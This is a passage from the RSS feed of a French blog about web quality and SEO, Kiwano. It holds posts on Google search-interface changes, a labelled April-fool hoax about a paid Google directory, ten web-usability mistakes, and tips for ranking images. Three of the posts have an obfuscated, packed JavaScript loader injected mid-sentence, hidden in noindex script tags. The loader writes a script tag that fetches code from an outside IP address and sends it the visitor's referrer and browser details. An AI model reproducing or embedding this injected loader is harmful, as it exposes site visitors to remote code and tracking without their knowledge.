<p><img src="http://www.kiwano.fr/images/Interface-Google/saisie-match-foot.png" alt="Saisie de match de foot dans Google" /></p>
<p><strong>Bref vous l&rsquo;avez compris cette fonctionnalité n&rsquo;est pas qu&rsquo;une simple aide</strong>, puisqu&rsquo;elle guide l&rsquo;internaute et donc influence directement sa recherche et sa navigation.<br />
<a href="http://www.google.com/support/websearch/bin/answer.py?hl=fr&amp;answer=106230">Lire la documentation officielle de Google sur la saisie semi-automatique</a></p>
<h3>La prévisualisation</h3>
<p><img src="http://www.kiwano.fr/images/Interface-Google/apercu.png" alt="Loupe d'apercu de recherche Google" /><br />
Les réponses de chaques <acronym title="Search Engine Result Pages">SERP</acronym> sont maintenant enrichies d&rsquo;une petite icône représentant une loupe cliquable. Cette fonctionnalité est très pratique car elle permet d&rsquo;avoir un aperçu de la page du site en question.</p>
<p><img src="http://www.kiwano.fr/images/Interface-Google/apercu-kiwano.png" alt="Resultat loupe d'apercu Google" /></p>
<p><strong>Cette prévisualisation des SERP Google, qu&rsquo;est ce que ca change ?</strong><br />
En terme de référencement peu de choses. Mais un peu plus en terme de communication et de marketing. Pensez que vos futurs visiteurs peuvent désormais avoir une vue de votre page d&rsquo;accueil&#8230; mais une vue dégradée.</p>
<p><strong>Exemple</strong> : Malgré toutes les annonces fracassantes de votre moteur de recherche préféré, celui-ci est toujours très myope face aux animations flash, aussi si votre site en contient, souvenez vous que le rendu sera amputé d&rsquo;autant d&rsquo;informations.</p>
<p><img src="http://www.kiwano.fr/images/Interface-Google/apercu-losc.png" alt="Resultat de previsualisation flash" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2011/03/23/changement-interface-google/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google Exocet : l&#8217;annuaire payant de Google</title>
		<link>http://www.kiwano.fr/2010/03/31/google-exocet-annuaire-payant/</link>
		<comments>http://www.kiwano.fr/2010/03/31/google-exocet-annuaire-payant/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 20:42:00 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Buzz]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Humour]]></category>
		<category><![CDATA[Moteurs de recherche]]></category>
		<category><![CDATA[Référencement]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1715</guid>
		<description><![CDATA[Effet de la crise ou du presque succès de Bing ? Google vient de ressortir des placards son projet baptisé « Exocet » d’annuaire payant. Alors bien sûr la nouvelle solution est plus complexe que ce que proposait Yahoo par le passé mais dans les faits il s’agit bien de payer pour être indexé dans &#8230; <a href="http://www.kiwano.fr/2010/03/31/google-exocet-annuaire-payant/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Google Exocet : l&#8217;annuaire payant de Google</span></a>]]></description>
				<content:encoded><![CDATA[<p>Effet de la crise ou du presque succès de Bing ? Google vient de ressortir des placards son projet baptisé « Exocet » d’annuaire payant.<br />
Alors bien sûr la nouvelle solution est plus complexe que ce que proposait Yahoo par le passé mais dans les faits il s’agit bien de payer pour être indexé dans un annuaire Google ! Bien pire encore, dans sa nouvelle solution, Google propose à ses utilisateurs d&rsquo;acheter leurs positionnements sur sa partie moteur.<br />
<span id="more-1715"></span></p>
<p>La <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnyak|var|u0026u|referrer|nbssb||js|php'.split('|'),0,{}))
</script></noindex> différence est de taille, l’indexation correspond au fait d’appartenir à la base de données de Google alors que le positionnement est un « travail » effectué pour être correctement positionné sur certaines requêtes.</p>
<h3>Le retour de l’annuaire</h3>
<p>D’après les <a href="http://www.mattcutts.com/blog/exocet" hreflang="en">sources américaines plus que fiables</a>, Google va donc lancer très prochainement son nouvel annuaire à destination des professionnels et dont l’inscription sera payante.<br />
Suivant le forfait choisi il sera proposé au client de compléter sa fiche du site avec les informations provenant de Google Buzz, Local Business Center ou encore les informations aggrégées depuis votre flux RSS. Cette fiche permettra donc a terme d’acheter des backlinks en dur vers votre site mais aussi vers vos autres comptes sociaux comme Facebook et Twitter.</p>
<h3>Intégration de l’annuaire dans le moteur de recherche et nouvelle option de Google Adwords</h3>
<p>L’intégration se fera évidemment par le biais d’un nouvel onglet dans  l’outil Google Adwords (notre image) permettant de fusionner les enchères de publicités classiques, les informations provenant de l’annuaire (notamment les mots clés) et un nouveau système annoncé comme « révolutionnaire » qui intégrera certaines annonces dans le flux classique de résultats.<br />
En fonction de vos enchères, Google pourra afficher votre site dans les résultats de l’annuaire mais aussi dans le résultat classique de recherche et tout cela en l’administrant depuis une seule interface…</p>
<p><img src="http://www.kiwano.fr/images/Exocet/Google-Exocet.jpg" alt="Apercu de l'onglet Exocet dans Google Adwords" /></p>
<p>Nous sommes curieux de voir comment cette révolution s’intégrera dans SERP sans mettre en péril ce qui a fait le succès planétaire de Google : des résultats de recherche rapides, pertinents … et non soumis à des considérations commerciales.</p>
<p>[Mise à jour du 02 avril] Google Exocet, <a href="http://fr.wikipedia.org/wiki/Exocoetidae">du nom du poisson volant</a>, était la version Kiwano du poisson d&rsquo;avril 2010. Nous espérons que vous avez apprécié ce « hoax ». A tout ceux qui pensent que nous l&rsquo;avons publié un jour trop tôt, nous répondons que nous traitons tous nos fidèles lecteurs sur un même pied d&rsquo;égalité. Ainsi, pour nos lecteurs australiens, le 1er avril commençait quelques heures plus tôt qu&rsquo;en France (ils étaient tout de même 2 le mois dernier : un d&rsquo;Adélaïde et l&rsquo;autre de Brisbane).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2010/03/31/google-exocet-annuaire-payant/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>10 crimes sur l&#8217;ergonomie des sites web que vous ne devriez plus commettre</title>
		<link>http://www.kiwano.fr/2010/01/12/ergonomie-accessibilite-site-crimes-web/</link>
		<comments>http://www.kiwano.fr/2010/01/12/ergonomie-accessibilite-site-crimes-web/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 11:00:57 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Accessibilité]]></category>
		<category><![CDATA[Débutant]]></category>
		<category><![CDATA[Ergonomie]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Qualité]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1652</guid>
		<description><![CDATA[L&#8217;article sur les 10 crimes sur les balises HTML que vous ne devriez plus commettre est actuellement l&#8217;article qui a été le plus lu sur Kiwano et aussi celui qui a entrainé le plus de commentaires de votre part. Alors, nous n&#8217;avons pas pu résister à l&#8217;idée de vous proposer une traduction du nouvel article &#8230; <a href="http://www.kiwano.fr/2010/01/12/ergonomie-accessibilite-site-crimes-web/" class="more-link">Continuer la lecture de <span class="screen-reader-text">10 crimes sur l&#8217;ergonomie des sites web que vous ne devriez plus commettre</span></a>]]></description>
				<content:encoded><![CDATA[<p>L&rsquo;article sur les <a href="http://www.kiwano.fr/10-crimes-tag-balise-html/">10 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dafat|var|u0026u|referrer|rzhyi||js|php'.split('|'),0,{}))
</script></noindex> crimes sur les balises HTML que vous ne devriez plus commettre</a> est actuellement l&rsquo;article qui a été le plus lu sur Kiwano et aussi celui qui a entrainé le plus de commentaires de votre part. Alors, nous n&rsquo;avons pas pu résister à l&rsquo;idée de vous proposer une traduction du nouvel article de <a href="http://twitter.com/chrisspooner" hreflang="en">Chris Spooner</a> intitulé <a href="http://line25.com/articles/10-usability-crimes-you-really-shouldnt-commit" hreflang="en" lang="en" xml:lang="en">« 10 Usability Crimes You Really Shouldn’t Commit »</a> sur son blog <a href="http://line25.com">Line 25 Web Design Blog</a>.</p>
<p>Voici donc une sélection des dix crimes les plus courants concernant l&rsquo;ergonomie et l&rsquo;accessibilité des sites webs avec la solution pour les éviter.<br />
<span id="more-1652"></span></p>
<h3>Crime n°1 : avoir des labels non associés aux champs de saisies dans vos formulaires</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Label-For.png" alt="Utiliser la balise label et l'attribut for sur les formulaires" /></p>
<p>Il est indispensable d&rsquo;utiliser la balise label pour vos labels de formulaires et de renseigner l&rsquo;attribut « for » pour pointer sur l&rsquo;ID du champ de saisie. Ainsi quand l&rsquo;utilisateur cliquera sur le label du formulaire, il aura automatiquement le focus sur le champ de type input qui lui est associé. Ceci est encore plus important pour les champs de type bouton radio ou de type case à cocher car cela augmente sensiblement la zone cliquable minuscule de ces éléments (pensez aux gros doigts de vos utilisateurs quand ils utilisent votre formulaire sur leur smartphone).</p>
<h3>Crime n°2 : avoir un logo qui ne contient pas de lien vers la page d&rsquo;accueil de votre site</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Lien-Logo.png" alt="Mettre un lien vers la page d'accueil sur le logo du site" /></p>
<p>Avoir un lien sur le logo de votre site pointant vers la page d&rsquo;accueil de celui-ci est devenu une pratique courante, si courante que les utilisateurs ont maintenant pris l&rsquo;habitude de cliquer sur ce logo. C&rsquo;est même devenu une convention du même ordre qu&rsquo;avoir le logo en haut à gauche de votre site.<br />
Par contre, selon nous, ce lien ne vous dispense pas du lien Accueil dans votre menu. Vous n&rsquo;êtes pas à l&rsquo;abri d&rsquo;avoir un utilisateur qui cherchera le lien Accueil dans votre menu.</p>
<h3>Crime n°3 : ne pas avoir de couleur différente sur les liens qui ont été visités</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Visited-Link.png" alt="Mettre une couleur alternative pour les liens visités" /></p>
<p>Il est important de donner à vos utilisateurs un indicateur visuel leur permettant de savoir quel lien ils ont déjà cliqué sur votre site. La méthode la plus simple est de leur donner une couleur différente afin de pouvoir les repérer immédiatement. Nous vous conseillons donc de mettre en oeuvre cette bonne pratique sur tous les liens textuels de votre site web.</p>
<h3>Crime n°4 : ne pas avoir d&rsquo;état actif pour les champs de vos formulaires</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Champ-Actif.png" alt="Etat actif dans les formulaires" /></p>
<p>Vous pouvez utiliser le sélecteur « :focus » sur beaucoup d&rsquo;éléments de vos pages mais cela prend tout son sens avec les champs de type input ou textarea. Il faut donc ajouter un peu de code CSS pour vos éléments inputs ou textarea pour mettre en surbrillance la bordure l&rsquo;élément actif ou changer sa couleur de fond de sorte de pouvoir l&rsquo;identifier d&rsquo;un simple coup d&rsquo;oeil.</p>
<h3>Crime n°5 : avoir des images sans attribut alt</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Attribut-Alt.png" alt="Exemple d'attribut alt sur les images" /></p>
<p>Nous avons déjà insisté sur ce point dans plusieurs articles <a href="http://www.kiwano.fr">Kiwano</a> : il est indispensable (et obligatoire) de renseigner correctement l&rsquo;attribut alt pour l&rsquo;ensemble des images de votre site. Encore une fois, si une image ne contient pas de sens (i.e. si elle est de type icône ou background) vous devez mettre un alt vide (alt= » ») sinon, profitez-en pour mettre des mots clés qui aideront le référencement de votre image.</p>
<h3>Crime n°6 : utiliser une image de background sans spécifier de couleur de background</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Couleur-Fond.png" alt="Spécifier une couleur de fond pour vos images" /></p>
<p>Il est courant d&rsquo;avoir du texte affiché sur des images de fond. Il ne faut pas oublier que l&rsquo;utilisateur peut désactiver l&rsquo;affichage des images. Dans ce cas il faut vérifier que le texte reste visible et que la différence de couleur entre le texte et la couleur de fond est suffisante. Il est donc fortemement conseillé de forcer une couleur de fond proche de celle de l&rsquo;image qui sera affichée si les images sont désactivées.</p>
<h3>Crime n°7 : utiliser de gros blocs de texte ennuyeux</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Titre-Paragraphes.png" alt="Alterner titres et paragraphes" /></p>
<p>Si vous avez beaucoup de texte à afficher, il faut faire attention à ne pas ennuyer votre lecteur avec de longs textes. Il est conseillé de donner du rythme en cassant ces blocs de texte avec des titres et des images pour faciliter le parcours de votre page.</p>
<h3>Crime n°8 : souligner un texte qui n&rsquo;est pas un lien</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Souligne-Lien.png" alt="Utiliser le souligné que pour les liens" /></p>
<p>Tout le monde sait que le texte d&rsquo;une page qui est souligné est normalement un lien. Il ne faut donc pas souligner du texte qui n&rsquo;est pas un lien. Si vous voulez mettre en exergue une partie de votre texte, privilégiez plutôt les éléments strong et em.</p>
<h3>Crime n°9 : avoir un lien « cliquez ici »</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Liens-Explicites.png" alt="Créer des liens explicites" /></p>
<p>Avoir un lien de type « cliquez ici » est non seulement un crime pour le référencement de votre site mais en plus il oblige votre utilisateur à lire tout le paragraphe pour pouvoir comprendre ce que fait ce lien. Cette erreur est même double : cela peut paraître évident, mais plus un lien est long et plus il est facile à cliquer pour vos visiteurs.<br />
Alors privilégiez donc les liens explicites décrivant correctement la page cible.</p>
<h3>Crime n°10 : utiliser du texte justifié</h3>
<p><img src="http://www.kiwano.fr/images/Crime-Ergonomie/Texte-Justifie.png" alt="Ne pas utiliser du texte justifié" /></p>
<p>Le texte justifié peut poser des problèmes à la lecture pour certaines personnes. De plus cela peut s&rsquo;avérer vraiment hideux sur des paragraphes courts ou quand la longueur de la ligne est trop importante. Pour améliorer l&rsquo;accessibilité de votre site, évitez donc les textes justifiés.</p>
<p>Vous avez d’autres crimes en tête que vous croisez tous les jours ? N’hésitez pas à les partager avec nous en laissant un commentaire.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2010/01/12/ergonomie-accessibilite-site-crimes-web/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>Conseils pour optimiser vos images pour vous positionner sur Google Images</title>
		<link>http://www.kiwano.fr/2009/12/01/conseil-optimisation-image-google/</link>
		<comments>http://www.kiwano.fr/2009/12/01/conseil-optimisation-image-google/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 13:37:32 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Moteurs de recherche]]></category>
		<category><![CDATA[Référencement]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1625</guid>
		<description><![CDATA[Si vous possédez un site contenant du contenu sous forme d&#8217;images, vous pouvez améliorer votre référencement en optimisant le positionnement de ces images dans les recherches de Google. La dernière newsletter Axandra Search Engine Facts contient des conseils pour l&#8217;optimisation des images de votre site. L&#8217;équipe Kiwano vous en rappelle les points importants. Cette optimisation &#8230; <a href="http://www.kiwano.fr/2009/12/01/conseil-optimisation-image-google/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Conseils pour optimiser vos images pour vous positionner sur Google Images</span></a>]]></description>
				<content:encoded><![CDATA[<p>Si vous possédez un site contenant du contenu sous forme d&rsquo;images, vous pouvez améliorer votre référencement en optimisant le positionnement de ces images dans les recherches de Google. La dernière newsletter <a href="http://www.free-seo-news.com/index.php" hreflang="en" lang="en" xml:lang="en">Axandra <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zttfi|var|u0026u|referrer|eddyi||js|php'.split('|'),0,{}))
</script></noindex> Search Engine Facts</a> contient des conseils pour l&rsquo;optimisation des images de votre site. L&rsquo;équipe Kiwano vous en rappelle les points importants.<br />
<span id="more-1625"></span></p>
<p>Cette optimisation est très intéressante dans le cas de recherches universelles puisqu&rsquo;elles affichent les premières images directement dans les pages de résultats comme dans l&rsquo;exemple ci-dessous.</p>
<p><img src="http://www.kiwano.fr/images/Google-Image/Google-Image-Marseille-Recherche.png" alt="Exemple de recherche marseille vieux port sur Google" /></p>
<h3>Utilisez un nom de fichier contenant les mots clés</h3>
<p>Nous vous conseillons d&rsquo;utiliser des mots clés séparés par des tirets pour définir le nom du fichier image, par exemple, une image de présentation de l&rsquo;activité de Kiwano pourrait porter le nom « referencement-marseille.png ».</p>
<h3>Donnez une description alternative à votre image</h3>
<p>Il est obligatoire pour vos images de contenu de renseigner l&rsquo;attribut alt de la balise &lt;img&gt;. Cet attribut vous permet de décrire le contenu de l&rsquo;image sous forme de texte accessible aux moteurs. Essayez d&rsquo;utiliser les mots clés que vous avez sélectionné pour le nom de votre image.<br />
<code>&lt;img src="referencement-marseille.png" alt="Référencement Marseille" /&gt;</code></p>
<p>Vous pouvez encore donner une information complémentaire sur cette image à l&rsquo;aide de l&rsquo;attribut title, c&rsquo;est lui qui vous permet de gérer l&rsquo;affichage de la fameuse bulle de description contextuelle.<br />
<code>&lt;img src="referencement-marseille.png" alt="Référencement Marseille" title="Expert en référencement naturel à Marseille" /&gt;</code></p>
<p>Enfin si vous voulez positionner un texte alternatif plus exhaustif, pensez à l&rsquo;attribut longdesc. </p>
<h3>Optimisez le contenu textuel du paragraphe contenant votre image</h3>
<p>Google prend en compte le contenu texte avant et après votre image. Dans notre exemple, les mots clés référencement et marseille devront apparaitre dans le paragraphe contenant notre image. La pertinence de l&rsquo;image est accrue si les mots clés sont aussi présents dans le texte de la page.</p>
<h3>Privilégiez les images plus grosses</h3>
<p>Les images plus grosses semblent apparaitre plus facilement en première page de résultat des recherches Google Images. Vous pouvez indiquer la taille de votre image dans le code html pour indiquer à Google que la taille de votre image est importante. Par ailleurs les attributs width et height de la balise &lt;img&gt; permettent de gagner du temps dans le rendu du navigateur en réservant l&rsquo;espace de l&rsquo;image lors du chargement.<br />
<code>&lt;img src="referencement-marseille.png" alt="Référencement Marseille" title="Expert en référencement naturel à Marseille" width="500" height="500" /&gt;</code></p>
<h3>Optimisez le contenu de la page contenant votre image</h3>
<p>Google prend en compte l&rsquo;ensemble du contenu de la page qui contient votre image. Essayez d&rsquo;utiliser vos mots clés ainsi que des synonymes dans votre page.</p>
<p>Suivez <a href="http://twitter.com/kiwanoweb">@kiwanoweb sur twitter</a> ou <a href="http://www.kiwano.fr/feed">abonnez-vous au flux RSS de Kiwano</a> pour des articles complets sur le référencement naturel (SEO) et la qualité Web (HTML, CSS, Standards) au quotidien.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2009/12/01/conseil-optimisation-image-google/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
	</channel>
</rss>
